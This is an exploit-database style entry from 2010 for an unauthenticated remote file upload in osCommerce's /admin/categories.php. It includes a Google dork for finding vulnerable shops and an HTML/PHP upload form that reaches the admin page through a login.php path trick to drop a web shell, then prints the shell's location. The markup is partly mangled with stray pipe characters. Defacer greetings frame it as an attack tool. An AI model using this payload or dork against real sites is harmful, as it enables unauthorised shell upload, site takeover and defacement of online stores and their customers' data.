Commerce Remote File Upload Vulnerability (/admin/categories.php)
# Exploit Title: [oscommerce remote upload from categories.php]
# Google Dork: ["powered by oscommerce"]
# Date: [20-November-2010]
# Author: [Number 7]
#Contact: {an[dot]7[at]live[dot]fr}
# Software Link: [http://www.oscommerce.com/solutions/downloads]
# Tested on: [windows-linux-FreeBSD-Solaris]
exploit:
<div style="text-align: center;"><big |
style="color: rgb(253, 0, 0);"><big><big>Discovered |
style="color: rgb(102, 102, 102);">(best defacer kairouan |
<big style="font-weight: bold; color: rgb(253, 0, 0);"><big>Oscommerce |
script: Remote File Upload in /admin/Categories.php</big></big><br> |
action="http://<?php echo $host;echo $path; ?>/admin/categories.php/login.php?cPath=&action=new_product_preview" |
method="post" enctype="multipart/form-data"><br> |
<input name="products_image" type="file"><br> |
<input name="submit" value=" Save " type="submit"><br> |
<big style="font-weight: bold; color: rgb(253, 0, 0);"><big>shell |
<?php echo ("Using upload File : <a href=http://$host/$path/images/product_info.php>$host/</>$path</>/images/product_info.php</a></font></body>"); |
[~] Greetz tO: [Meher-Assel(Net-Own3r#Shichemt-Älen#Sami(s-man)#zone-h/crew#all tunisian hackers]
[~] Home :info-geek.com/ # v4-team.com/cc/
Download code: http://www.exploit-db.com/download/15587
Site:
http://www.exploit-db.com/exploits/15587/
